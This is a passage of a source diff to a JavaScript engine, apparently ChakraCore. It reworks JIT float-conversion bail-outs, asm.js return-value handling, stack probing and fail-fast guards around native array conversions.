     // $Done

+ 2 - 2
lib/Backend/LowerMDShared.h

@@ -217,13 +217,13 @@ public:
             void            EmitIntToLong(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert);
             void            EmitUIntToLong(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert);
             void            EmitLongToInt(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert);
-            void            EmitFloatToInt(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert);
+            void            EmitFloatToInt(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert, IR::Instr * instrBailOut = nullptr, IR::LabelInstr * labelBailOut = nullptr);
             void            EmitInt64toFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert);
             void            EmitFloat32ToFloat64(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert);
             static IR::Instr *InsertConvertFloat64ToInt32(const RoundMode roundMode, IR::Opnd *const dst, IR::Opnd *const src, IR::Instr *const insertBeforeInstr);
             void            ConvertFloatToInt32(IR::Opnd* intOpnd, IR::Opnd* floatOpnd, IR::LabelInstr * labelHelper, IR::LabelInstr * labelDone, IR::Instr * instInsert);
             void            EmitLoadFloatFromNumber(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr);
-            IR::RegOpnd *   EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, bool bailOutOnHelperCall = false);
+            void            EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, IR::Instr * instrBailOut = nullptr, IR::LabelInstr * labelBailOut = nullptr);
             static void     EmitNon32BitOvfCheck(IR::Instr *instr, IR::Instr *insertInstr, IR::LabelInstr* bailOutLabel);
 
             static void     LowerInt4NegWithBailOut(IR::Instr *const instr, const IR::BailOutKind bailOutKind, IR::LabelInstr *const bailOutLabel, IR::LabelInstr *const skipBailOutLabel);

+ 1 - 2
lib/Backend/Opnd.cpp

@@ -2799,8 +2799,7 @@ Opnd::IsArgumentsObject()
     // Since we need this information in the inliner where we don't track arguments object sym, going with single def is the best option.
     StackSym * sym = this->GetStackSym();
 
-    return sym && sym->IsSingleDef() &&
-        (sym->m_instrDef->m_opcode == Js::OpCode::LdHeapArguments || sym->m_instrDef->m_opcode == Js::OpCode::LdLetHeapArguments);
+    return sym && sym->IsSingleDef() && sym->GetInstrDef()->HasAnyLoadHeapArgsOpCode();
 }
 
 #if DBG_DUMP || defined(ENABLE_IR_VIEWER)

+ 51 - 22
lib/Backend/arm/LowerMD.cpp

@@ -6148,8 +6148,8 @@ LowererMD::EmitLoadFloatCommon(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertIn
     return labelDone;
 }
 
-IR::RegOpnd *
-LowererMD::EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, bool bailOutOnHelperCall)
+void
+LowererMD::EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, IR::Instr * instrBailOut, IR::LabelInstr * labelBailOut)
 {
     IR::LabelInstr *labelDone;
     IR::Instr *instr;
@@ -6168,24 +6168,18 @@ LowererMD::EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, b
     if (labelDone == nullptr)
     {
         // We're done
-        return nullptr;
+        return;
     }
 
-    if (bailOutOnHelperCall)
-    {
-        if(!GlobOpt::DoEliminateArrayAccessHelperCall(this->m_func))
-        {
-            // Array access helper call removal is already off for some reason. Prevent trying to rejit again
-            // because it won't help and the same thing will happen again. Just abort jitting this function.
-            if(PHASE_TRACE(Js::BailOutPhase, this->m_func))
-            {
-                Output::Print(_u("    Aborting JIT because EliminateArrayAccessHelperCall is already off\n"));
-                Output::Flush();
-            }
-            throw Js::OperationAbortedException();
-        }
+    IR::BailOutKind bailOutKind = instrBailOut && instrBailOut->HasBailOutInfo() ? instrBailOut->GetBailOutKind() : IR::BailOutInvalid;
 
-        throw Js::RejitException(RejitReason::ArrayAccessHelperCallEliminationDisabled);
+    if (bailOutKind & IR::BailOutOnArrayAccessHelperCall)
+    {
+        // Bail out instead of making the helper call.
+        Assert(labelBailOut);
+        m_lowerer->InsertBranch(Js::OpCode::Br, labelBailOut, insertInstr);
+        insertInstr->InsertBefore(labelDone);
+        return;
     }
 
     IR::Opnd *memAddress = dst;
@@ -6218,6 +6212,17 @@ LowererMD::EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, b
     instr->SetSrc2(reg3Opnd);
     insertInstr->InsertBefore(instr);
 
+    if (BailOutInfo::IsBailOutOnImplicitCalls(bailOutKind))
+    {
+        _Analysis_assume_(instrBailOut != nullptr);
+        instr = instr->ConvertToBailOutInstr(instrBailOut->GetBailOutInfo(), bailOutKind);
+        if (instrBailOut->GetBailOutInfo()->bailOutInstr == instrBailOut)
+        {
+            IR::Instr * instrShare = instrBailOut->ShareBailOut();
+            m_lowerer->LowerBailTarget(instrShare);
+        }
+    }
+
     IR::JnHelperMethod helper;
     if (dst->GetType() == TyFloat32)
     {
@@ -6240,7 +6245,6 @@ LowererMD::EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, b
 
     // $Done
     insertInstr->InsertBefore(labelDone);
-    return nullptr;
 }
 
 void
@@ -8817,8 +8821,21 @@ LowererMD::CheckOverflowOnFloatToInt32(IR::Instr* instrInsert, IR::Opnd* intOpnd
 }
 
 void
-LowererMD::EmitFloatToInt(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert)
+LowererMD::EmitFloatToInt(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert, IR::Instr * instrBailOut, IR::LabelInstr * labelBailOut)
 {
+    IR::BailOutKind bailOutKind = IR::BailOutInvalid;
+    if (instrBailOut && instrBailOut->HasBailOutInfo())
+    {
+        bailOutKind = instrBailOut->GetBailOutKind(); 
+        if (bailOutKind & IR::BailOutOnArrayAccessHelperCall)
+        {
+            // Bail out instead of calling helper. If this is happening unconditionally, the caller should instead throw a rejit exception.
+            Assert(labelBailOut);
+            m_lowerer->InsertBranch(Js::OpCode::Br, labelBailOut, instrInsert);
+            return;
+        }
+    }
+
     IR::LabelInstr *labelDone = IR::LabelInstr::New(Js::OpCode::Label, this->m_func);
     IR::LabelInstr *labelHelper = IR::LabelInstr::New(Js::OpCode::Label, this->m_func, true);
     IR::Instr *instr;
@@ -8828,11 +8845,23 @@ LowererMD::EmitFloatToInt(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert)
     // $Helper
     instrInsert->InsertBefore(labelHelper);
 
-    // dst = ToInt32Core(src);
-    LoadDoubleHelperArgument(instrInsert, src);
-
     instr = IR::Instr::New(Js::OpCode::Call, dst, this->m_func);
     instrInsert->InsertBefore(instr);
+
+    if (BailOutInfo::IsBailOutOnImplicitCalls(bailOutKind))
+    {
+        _Analysis_assume_(instrBailOut != nullptr);
+        instr = instr->ConvertToBailOutInstr(instrBailOut->GetBailOutInfo(), bailOutKind);
+        if (instrBailOut->GetBailOutInfo()->bailOutInstr == instrBailOut)
+        {
+            IR::Instr * instrShare = instrBailOut->ShareBailOut();
+            m_lowerer->LowerBailTarget(instrShare);
+        }
+    }
+
+    // dst = ToInt32Core(src);
+    LoadDoubleHelperArgument(instr, src);
+
     this->ChangeToHelperCall(instr, IR::HelperConv_ToInt32Core);
 
     // $Done

+ 2 - 2
lib/Backend/arm/LowerMD.h

@@ -156,7 +156,7 @@ public:
             void            GenerateNumberAllocation(IR::RegOpnd * opndDst, IR::Instr * instrInsert, bool isHelper);
             void            GenerateFastRecyclerAlloc(size_t allocSize, IR::RegOpnd* newObjDst, IR::Instr* insertionPointInstr, IR::LabelInstr* allocHelperLabel, IR::LabelInstr* allocDoneLabel);
             void            SaveDoubleToVar(IR::RegOpnd * dstOpnd, IR::RegOpnd *opndFloat, IR::Instr *instrOrig, IR::Instr *instrInsert, bool isHelper = false);
-            IR::RegOpnd *   EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, bool bailOutOnHelperCall = false);
+            void            EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, IR::Instr * instrBailOut = nullptr, IR::LabelInstr * labelBailOut = nullptr);
             IR::Instr *     LoadCheckedFloat(IR::RegOpnd *opndOrig, IR::RegOpnd *opndFloat, IR::LabelInstr *labelInline, IR::LabelInstr *labelHelper, IR::Instr *instrInsert, const bool checkForNullInLoopBody = false);
 
             void LoadFloatValue(IR::RegOpnd * javascriptNumber, IR::RegOpnd * opndFloat, IR::LabelInstr * labelHelper, IR::Instr * instrInsert, const bool checkFornullptrInLoopBody = false);
@@ -203,7 +203,7 @@ public:
             void                EmitLoadVarNoCheck(IR::RegOpnd * dst, IR::RegOpnd * src, IR::Instr *instrLoad, bool isFromUint32, bool isHelper);
             void                EmitIntToFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert);
             void                EmitUIntToFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert);
-            void                EmitFloatToInt(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert);
+            void                EmitFloatToInt(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert, IR::Instr * instrBailOut = nullptr, IR::LabelInstr * labelBailOut = nullptr);
             void                EmitFloat32ToFloat64(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert) { Assert(UNREACHED); }
             void                EmitInt64toFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert) {  Assert(UNREACHED); }
             static IR::Instr *  InsertConvertFloat64ToInt32(const RoundMode roundMode, IR::Opnd *const dst, IR::Opnd *const src, IR::Instr *const insertBeforeInstr);

+ 2 - 2
lib/Backend/arm64/LowerMD.h

@@ -152,7 +152,7 @@ public:
               void            GenerateNumberAllocation(IR::RegOpnd * opndDst, IR::Instr * instrInsert, bool isHelper) { __debugbreak(); }
               void            GenerateFastRecyclerAlloc(size_t allocSize, IR::RegOpnd* newObjDst, IR::Instr* insertionPointInstr, IR::LabelInstr* allocHelperLabel, IR::LabelInstr* allocDoneLabel) { __debugbreak(); }
               void            SaveDoubleToVar(IR::RegOpnd * dstOpnd, IR::RegOpnd *opndFloat, IR::Instr *instrOrig, IR::Instr *instrInsert, bool isHelper = false) { __debugbreak(); }
-              IR::RegOpnd *   EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, bool bailOutOnHelperCall = false) { __debugbreak(); return 0; }
+              void            EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, IR::Instr * instrBailOut = nullptr, IR::LabelInstr * labelBailOut = nullptr) { __debugbreak(); }
               IR::Instr *     LoadCheckedFloat(IR::RegOpnd *opndOrig, IR::RegOpnd *opndFloat, IR::LabelInstr *labelInline, IR::LabelInstr *labelHelper, IR::Instr *instrInsert) { __debugbreak(); return 0; }
 
               void LoadFloatValue(IR::RegOpnd * javascriptNumber, IR::RegOpnd * opndFloat, IR::LabelInstr * labelHelper, IR::Instr * instrInsert) { __debugbreak(); }
@@ -199,7 +199,7 @@ public:
               void                EmitLoadVarNoCheck(IR::RegOpnd * dst, IR::RegOpnd * src, IR::Instr *instrLoad, bool isFromUint32, bool isHelper) { __debugbreak(); }
               void                EmitIntToFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert) { __debugbreak(); }
               void                EmitUIntToFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert) { __debugbreak(); }
-              void                EmitFloatToInt(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert) { __debugbreak(); }
+              void                EmitFloatToInt(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert, IR::Instr * instrBailOut = nullptr, IR::LabelInstr * labelBailOut = nullptr) { __debugbreak(); }
               void                EmitFloat32ToFloat64(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert) { __debugbreak(); }
               void                EmitInt64toFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert) { __debugbreak(); }
               void                EmitIntToLong(IR::Opnd *dst, IR::Opnd *src, IR::Instr *instrInsert) { __debugbreak(); }

+ 12 - 0
lib/Common/Common/Int32Math.h

@@ -16,3 +16,15 @@ public:
     static bool Shr(int32 left, int32 right, int32 *pResult);
     static bool ShrU(int32 left, int32 right, int32 *pResult);
 };
+
+template <>
+inline bool Math::IncImpl<int32>(int32 val, int32 *pResult)
+{
+    return Int32Math::Inc(val, pResult);
+}
+
+template <>
+inline bool Math::AddImpl<int32>(int32 left, int32 right, int32 *pResult)
+{
+    return Int32Math::Add(left, right, pResult);
+}

+ 50 - 0
lib/Common/Common/MathUtil.h

@@ -118,4 +118,54 @@ public:
         return AlignOverflowCheck(size, alignment, DefaultOverflowPolicy);
     }
 
+    // Postfix increment "val++", call overflowFn() first if overflow
+    template <typename T, class Func>
+    static T PostInc(T& val, const Func& overflowFn)
+    {
+        T tmp = val;
+        if (IncImpl(val, &tmp))
+        {
+            overflowFn();  // call before changing val
+        }
+
+        T old = val;
+        val = tmp;
+        return old;
+    }
+
+    // Postfix increment "val++", call DefaultOverflowPolicy() first if overflow
+    template <typename T>
+    static T PostInc(T& val)
+    {
+        return PostInc(val, DefaultOverflowPolicy);
+    }
+
+    template <typename T>
+    static bool IncImpl(T val, T *pResult)
+    {
+        CompileAssert(false);  // must implement template specialization on type T
+    }
+
+    template <typename T, class Func>
+    static T Add(T left, T right, const Func& overflowFn)
+    {
+        T result;
+        if (AddImpl(left, right, &result))
+        {
+            overflowFn();
+        }
+        return result;
+    }
+
+    template <typename T>
+    static T Add(T left, T right)
+    {
+        return Add(left, right, DefaultOverflowPolicy);
+    }
+
+    template <typename T>
+    static bool AddImpl(T left, T right, T *pResult)
+    {
+        CompileAssert(false);  // must implement template specialization on type T
+    }
 };

+ 14 - 0
lib/Common/Common/UInt16Math.h

@@ -2,6 +2,8 @@
 // Copyright (C) Microsoft. All rights reserved.
 // Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
 //-------------------------------------------------------------------------------------------------------
+#pragma once
+
 class UInt16Math
 {
 public:
@@ -51,3 +53,15 @@ public:
         Inc(lhs, ::Math::DefaultOverflowPolicy);
     }
 };
+
+template <>
+inline bool Math::IncImpl<uint16>(uint16 val, uint16 *pResult)
+{
+    return UInt16Math::Add(val, 1, pResult);
+}
+
+template <>
+inline bool Math::AddImpl<uint16>(uint16 left, uint16 right, uint16 *pResult)
+{
+    return UInt16Math::Add(left, right, pResult);
+}

+ 3 - 2
lib/Runtime/Base/ScriptContext.h

@@ -432,8 +432,9 @@ namespace Js
         bool IsRegistered() { return next != nullptr || prev != nullptr || threadContext->GetScriptContextList() == this; }
         union
         {
-            int64 int64Val; // stores the double & float result for Asm interpreter
-            double dbVal; // stores the double & float result for Asm interpreter
+            int64 int64Val;
+            float floatVal;
+            double dbVal;
             AsmJsSIMDValue simdVal; // stores raw simd result for Asm interpreter
         } asmJsReturnValue;
         static DWORD GetAsmJsReturnValueOffset() { return offsetof(ScriptContext, asmJsReturnValue); }

+ 6 - 0
lib/Runtime/ByteCode/ByteCodeEmitter.cpp

@@ -15,6 +15,7 @@ void EmitSuperFieldPatch(FuncInfo* funcInfo, ParseNode* pnode, ByteCodeGenerator
 void EmitUseBeforeDeclaration(Symbol *sym, ByteCodeGenerator *byteCodeGenerator, FuncInfo *funcInfo);
 void EmitUseBeforeDeclarationRuntimeError(ByteCodeGenerator *byteCodeGenerator, Js::RegSlot location);
 void VisitClearTmpRegs(ParseNode * pnode, ByteCodeGenerator * byteCodeGenerator, FuncInfo * funcInfo);
+void EmitSuperMethodBegin(ParseNode *pnodeTarget, ByteCodeGenerator *byteCodeGenerator, FuncInfo *funcInfo);
 
 bool CallTargetIsArray(ParseNode *pnode)
 {
@@ -2631,6 +2632,10 @@ void ByteCodeGenerator::EmitThis(FuncInfo *funcInfo, Js::RegSlot fromRegister)
             Js::PropertyId slot = parent->thisScopeSlot;
             EmitInternalScopedSlotLoad(funcInfo, scope, envIndex, slot, funcInfo->thisPointerRegister, false);
         }
+        else
+        {
+            m_writer.Reg1(Js::OpCode::LdUndef, funcInfo->thisPointerRegister);
+        }
     }
     else if (funcInfo->byteCodeFunction->GetIsStrictMode() && (!funcInfo->IsGlobalFunction() || this->flags & fscrEval))
     {
@@ -7086,6 +7091,7 @@ void EmitAssignment(
         Js::PropertyId propertyId = lhs->sxBin.pnode2->sxPid.PropertyIdFromNameNode();
 
         uint cacheId = funcInfo->FindOrAddInlineCacheId(lhs->sxBin.pnode1->location, propertyId, false, true);
+        EmitSuperMethodBegin(lhs, byteCodeGenerator, funcInfo);
         if (lhs->sxBin.pnode1->nop == knopSuper)
         {
             Js::RegSlot tmpReg = byteCodeGenerator->EmitLdObjProto(Js::OpCode::LdHomeObjProto, funcInfo->superRegister, funcInfo);

+ 6 - 21
lib/Runtime/Language/AsmJsUtils.cpp

@@ -455,18 +455,7 @@ namespace Js
     int GetStackSizeForAsmJsUnboxing(ScriptFunction* func)
     {
         AsmJsFunctionInfo* info = func->GetFunctionBody()->GetAsmJsFunctionInfo();
-        int argSize = MachPtr;
-        for (ArgSlot i = 0; i < info->GetArgCount(); i++)
-        {
-            if (info->GetArgType(i).isSIMD())
-            {
-                argSize += sizeof(AsmJsSIMDValue);
-            }
-            else
-            {
-                argSize += MachPtr;
-            }
-        }
+        int argSize = info->GetArgByteSize() + MachPtr;
         argSize = ::Math::Align<int32>(argSize, 16);
 
         if (argSize < 32)
@@ -474,7 +463,7 @@ namespace Js
             argSize = 32; // convention is to always allocate spill space for rcx,rdx,r8,r9
         }
 
-        PROBE_STACK_CALL(func->GetScriptContext(), func, argSize);
+        PROBE_STACK_CALL(func->GetScriptContext(), func, argSize + Js::Constants::MinStackDefault);
         return argSize;
     }
 
@@ -608,7 +597,7 @@ namespace Js
         FunctionBody* body = func->GetFunctionBody();
         AsmJsFunctionInfo* info = body->GetAsmJsFunctionInfo();
         int argSize = info->GetArgByteSize();
-        char* dst;
+        void* dst;
         Var returnValue = 0;
 
         // TODO (michhol): wasm, heap should not ever be detached
@@ -616,14 +605,10 @@ namespace Js
 
         argSize = ::Math::Align<int32>(argSize, 8);
         // Allocate stack space for args
+        PROBE_STACK_CALL(func->GetScriptContext(), func, argSize + Js::Constants::MinStackDefault);
 
-        __asm
-        {
-            sub esp, argSize
-            mov dst, esp
-        };
-
-        const void * asmJSEntryPoint = UnboxAsmJsArguments(func, args.Values + 1, dst - MachPtr, callInfo);
+        dst = _alloca(argSize);
+        const void * asmJSEntryPoint = UnboxAsmJsArguments(func, args.Values + 1, ((char*)dst) - MachPtr, callInfo);
 
         // make call and convert primitive type back to Var
         switch (info->GetReturnType().which())

+ 27 - 50
lib/Runtime/Language/InterpreterStackFrame.cpp

@@ -1633,7 +1633,7 @@ namespace Js
                 jmp doSimd; // Otherwise, the return type is simd
             ToXmmWord:
                 // float
-                cvtsd2ss xmm0, [eax];
+                movss xmm0, [eax];
                 jmp end;
             ToXmmDWord:
                 // double
@@ -1787,8 +1787,9 @@ namespace Js
 #pragma optimize("", on)
 #endif
 
-    Var InterpreterStackFrame::InterpreterHelper(ScriptFunction* function, ArgumentReader args, void* returnAddress, void* addressOfReturnAddress, const bool isAsmJs)
+    Var InterpreterStackFrame::InterpreterHelper(ScriptFunction* function, ArgumentReader args, void* returnAddress, void* addressOfReturnAddress, AsmJsReturnStruct* asmJsReturn)
     {
+        const bool isAsmJs = asmJsReturn != nullptr;
 
 #ifdef ENABLE_DEBUG_CONFIG_OPTIONS
         // Support for simulating partially initialized interpreter stack frame.
@@ -2053,6 +2054,17 @@ namespace Js
         }
 #endif
 
+#ifdef ASMJS_PLAT
+        if (isAsmJs)
+        {
+            asmJsReturn->i = newInstance->GetRegRawInt(0);
+            asmJsReturn->l = newInstance->GetRegRawInt64(0);
+            asmJsReturn->d = newInstance->GetRegRawDouble(0);
+            asmJsReturn->f = newInstance->GetRegRawFloat(0);
+            asmJsReturn->simd = newInstance->GetRegRawSimd(0);
+        }
+#endif
+
         if (fReleaseAlloc)
         {
             functionScriptContext->ReleaseInterpreterArena();
@@ -2065,46 +2077,10 @@ namespace Js
         }
 #endif
 
-        if (isAsmJs)
-        {
-            return newInstance;
-        }
         return aReturn;
     }
 
 #ifdef ASMJS_PLAT
-    template<>
-    int InterpreterStackFrame::GetAsmJsRetVal<int>(InterpreterStackFrame* instance)
-    {
-        return instance->m_localIntSlots[0];
-    }
-    template<>
-    int64 InterpreterStackFrame::GetAsmJsRetVal<int64>(InterpreterStackFrame* instance)
-    {
-        return instance->m_localInt64Slots[0];
-    }
-    template<>
-    double InterpreterStackFrame::GetAsmJsRetVal<double>(InterpreterStackFrame* instance)
-    {
-        return instance->m_localDoubleSlots[0];
-    }
-    template<>
-    float InterpreterStackFrame::GetAsmJsRetVal<float>(InterpreterStackFrame* instance)
-    {
-        return instance->m_localFloatSlots[0];
-    }
-    template<>
-    AsmJsSIMDValue InterpreterStackFrame::GetAsmJsRetVal<AsmJsSIMDValue>(InterpreterStackFrame* instance)
-    {
-        return instance->m_localSimdSlots[0];
-    }
-#if _M_IX86 || _M_X64
-    template<>
-    X86SIMDValue InterpreterStackFrame::GetAsmJsRetVal<X86SIMDValue>(InterpreterStackFrame* instance)
-    {
-        return X86SIMDValue::ToX86SIMDValue(instance->m_localSimdSlots[0]);
-    }
-#endif
 
 #if _M_IX86
     int InterpreterStackFrame::AsmJsInterpreter(AsmJsCallStackLayout* stack)
@@ -2120,7 +2096,8 @@ namespace Js
 #if ENABLE_PROFILE_INFO
         function->GetFunctionBody()->EnsureDynamicProfileInfo();
 #endif
-        InterpreterStackFrame* newInstance = (InterpreterStackFrame*)InterpreterHelper(function, args, returnAddress, addressOfReturnAddress, true);
+        AsmJsReturnStruct asmJsReturn = { 0 };
+        InterpreterHelper(function, args, returnAddress, addressOfReturnAddress, &asmJsReturn);
 
         //Handle return value
         AsmJsRetType::Which retType = (AsmJsRetType::Which) GetRetType(function);
@@ -2141,30 +2118,29 @@ namespace Js
         case AsmJsRetType::Uint8x16:
             if (function->GetScriptContext()->GetConfig()->IsSimdjsEnabled())
             {
-                function->GetScriptContext()->asmJsReturnValue.simdVal = GetAsmJsRetVal<AsmJsSIMDValue>(newInstance);
+                function->GetScriptContext()->asmJsReturnValue.simdVal = asmJsReturn.simd;
                 break;
             }
             Assert(UNREACHED);
         // double return
         case AsmJsRetType::Double:
-            function->GetScriptContext()->asmJsReturnValue.dbVal = GetAsmJsRetVal<double>(newInstance);
+            function->GetScriptContext()->asmJsReturnValue.dbVal = asmJsReturn.d;
             break;
         // float return
         case AsmJsRetType::Float:
-            function->GetScriptContext()->asmJsReturnValue.dbVal = (double)GetAsmJsRetVal<float>(newInstance);
+            function->GetScriptContext()->asmJsReturnValue.floatVal = asmJsReturn.f;
             break;
         // signed or void return
         case AsmJsRetType::Signed:
         case AsmJsRetType::Void:
-            retVal = GetAsmJsRetVal<int>(newInstance);
+            retVal = asmJsReturn.i;
             break;
         case AsmJsRetType::Int64:
         {
-            int64 int64RetVal = GetAsmJsRetVal<int64>(newInstance);
-            function->GetScriptContext()->asmJsReturnValue.int64Val = int64RetVal;
+            function->GetScriptContext()->asmJsReturnValue.int64Val = asmJsReturn.l;
             // put the lower bits into eax
             // we'll read the higher bits from memory
-            retVal = (int)int64RetVal;
+            retVal = (int)asmJsReturn.l;
             break;
         }
         default:
@@ -2242,9 +2218,10 @@ namespace Js
         void* returnAddress = _ReturnAddress();
         void* addressOfReturnAddress = _AddressOfReturnAddress();
         function->GetFunctionBody()->EnsureDynamicProfileInfo();
-        InterpreterStackFrame* newInstance = (InterpreterStackFrame*)InterpreterHelper(function, args, returnAddress, addressOfReturnAddress, true);
+        AsmJsReturnStruct asmJsReturn = { 0 };
+        InterpreterHelper(function, args, returnAddress, addressOfReturnAddress, &asmJsReturn);
 
-        return GetAsmJsRetVal<T>(newInstance);
+        return asmJsReturn.GetRetVal<T>();
     }
 
     __m128 InterpreterStackFrame::AsmJsInterpreterSimdJs(AsmJsCallStackLayout* layout)
@@ -3046,11 +3023,11 @@ namespace Js
                 break;
             }
 
-            // Make sure slots are aligned for this type
-            Assert(::Math::Align<intptr_t>((intptr_t)destination, (intptr_t)WAsmJs::GetTypeByteSize(type)) == (intptr_t)destination);
             byte* source = constTable + typeInfo->constSrcByteOffset;
             if (typeInfo->constCount > 0 && source != destination)
             {
+                // Make sure slots are aligned for this type
+                Assert(::Math::Align<intptr_t>((intptr_t)destination, (intptr_t)WAsmJs::GetTypeByteSize(type)) == (intptr_t)destination);
                 Assert(typeInfo->constSrcByteOffset != Js::Constants::InvalidOffset);
                 uint constByteSize = typeInfo->constCount * WAsmJs::GetTypeByteSize(type);
                 memcpy_s(destination, constByteSize, source, constByteSize);

+ 20 - 4
lib/Runtime/Language/InterpreterStackFrame.h

@@ -76,6 +76,25 @@ namespace Js
             bool bailedOut;
             bool bailedOutOfInlinee;
         };
+
+        struct AsmJsReturnStruct
+        {
+#ifdef ASMJS_PLAT
+            int32 i;
+            int64 l;
+            float f;
+            double d;
+            AsmJsSIMDValue simd;
+
+            template<typename T> T GetRetVal();
+            template<> int32 GetRetVal<int32>() { return i; }
+            template<> int64 GetRetVal<int64>() { return l; }
+            template<> float GetRetVal<float>() { return f; }
+            template<> double GetRetVal<double>() { return d; }
+            template<> X86SIMDValue GetRetVal<X86SIMDValue>() { return X86SIMDValue::ToX86SIMDValue(simd); }
+#endif
+        };
+
     private:
         ByteCodeReader m_reader;        // Reader for current function
         int m_inSlotsCount;             // Count of actual incoming parameters to this function
@@ -293,8 +312,6 @@ namespace Js
         DWORD_PTR GetStackAddress() const;
         void* GetAddressOfReturnAddress() const;
 
-        template <typename T>
-        static T GetAsmJsRetVal(InterpreterStackFrame* instance);
 #if _M_IX86
         static int GetRetType(JavascriptFunction* func);
         static int GetAsmJsArgSize(AsmJsCallStackLayout * stack);
@@ -322,7 +339,7 @@ namespace Js
 #else
         _NOINLINE static Var InterpreterThunk(RecyclableObject* function, CallInfo callInfo, ...);
 #endif
-        static Var InterpreterHelper(ScriptFunction* function, ArgumentReader args, void* returnAddress, void* addressOfReturnAddress, const bool isAsmJs = false);
+        static Var InterpreterHelper(ScriptFunction* function, ArgumentReader args, void* returnAddress, void* addressOfReturnAddress, AsmJsReturnStruct* asmReturn = nullptr);
     private:
 #if DYNAMIC_INTERPRETER_THUNK
         static JavascriptMethod EnsureDynamicInterpreterThunk(Js::ScriptFunction * function);
@@ -623,7 +640,6 @@ namespace Js
         template <class T> inline void OP_LdArrFunc(const unaligned T* playout);
         template <class T> inline void OP_LdArrWasmFunc(const unaligned T* playout);
         template <class T> inline void OP_CheckSignature(const unaligned T* playout);
-        template <class T> inline void OP_ReturnDb(const unaligned T* playout);
         template<typename T> T GetArrayViewOverflowVal();
         template <typename ArrayType, typename RegType = ArrayType> inline void OP_StArr( uint32 index, RegSlot value );
         template <class T> inline Var OP_LdAsmJsSlot(Var instance, const unaligned T* playout );

+ 7 - 0
lib/Runtime/Language/amd64/amd64_Thunks.asm

@@ -10,6 +10,7 @@ ifdef _CONTROL_FLOW_GUARD
     extrn __guard_check_icall_fptr:QWORD
     extrn __guard_dispatch_icall_fptr:QWORD
 endif
+extrn __chkstk: PROC
 
 ifdef _ENABLE_DYNAMIC_THUNKS
 
@@ -346,7 +347,13 @@ align 16
         mov rdi, rdx ; save orig stack pointer, so that we can add it back later
         add rdx, 68h ; account for the changes we have already made to rsp
 
+        ; Check if we need to commit more stack
+        cmp rax, 2000h ; x64 has 2 guard pages
+        jl stack_alloc
+        call __chkstk
+stack_alloc:
         sub rsp, rax ; allocate additional stack space for args
+
         ; UnboxAsmJsArguments(func, origArgsLoc, argDst, callInfo)
         mov rcx, rsi
         mov r8, rsp

+ 47 - 14
lib/Runtime/Library/JavascriptArray.cpp

@@ -1589,6 +1589,9 @@ namespace Js
 
         // Grow the segments
 
+        // Code below has potential to throw due to OOM or SO. Just FailFast on those cases
+        AutoFailFastOnError failFastError;
+
         ScriptContext *scriptContext = intArray->GetScriptContext();
         Recycler *recycler = scriptContext->GetRecycler();
         SparseArraySegmentBase *seg, *nextSeg, *prevSeg = nullptr;
@@ -1697,6 +1700,7 @@ namespace Js
             VirtualTableInfo<JavascriptNativeFloatArray>::SetVirtualTable(intArray);
         }
 
+        failFastError.Completed();
         return (JavascriptNativeFloatArray*)intArray;
     }
 
@@ -1864,6 +1868,10 @@ namespace Js
         ScriptContext *scriptContext = intArray->GetScriptContext();
         Recycler *recycler = scriptContext->GetRecycler();
         SparseArraySegmentBase *seg, *nextSeg, *prevSeg = nullptr;
+
+        // Code below has potential to throw due to OOM or SO. Just FailFast on those cases
+        AutoFailFastOnError failFastError;
+
         for (seg = intArray->head; seg; seg = nextSeg)
         {
             nextSeg = seg->next;
@@ -1974,6 +1982,7 @@ namespace Js
             VirtualTableInfo<JavascriptArray>::SetVirtualTable(intArray);
         }
 
+        failFastError.Completed();
         return intArray;
     }
     JavascriptArray *JavascriptNativeIntArray::ToVarArray(JavascriptNativeIntArray *intArray)
@@ -2049,6 +2058,10 @@ namespace Js
         ScriptContext *scriptContext = fArray->GetScriptContext();
         Recycler *recycler = scriptContext->GetRecycler();
         SparseArraySegmentBase *seg, *nextSeg, *prevSeg = nullptr;
+
+        // Code below has potential to throw due to OOM or SO. Just FailFast on those cases
+        AutoFailFastOnError failFastError;
+
         for (seg = fArray->head; seg; seg = nextSeg)
         {
             nextSeg = seg->next;
@@ -2170,6 +2183,8 @@ namespace Js
             VirtualTableInfo<JavascriptArray>::SetVirtualTable(fArray);
         }
 
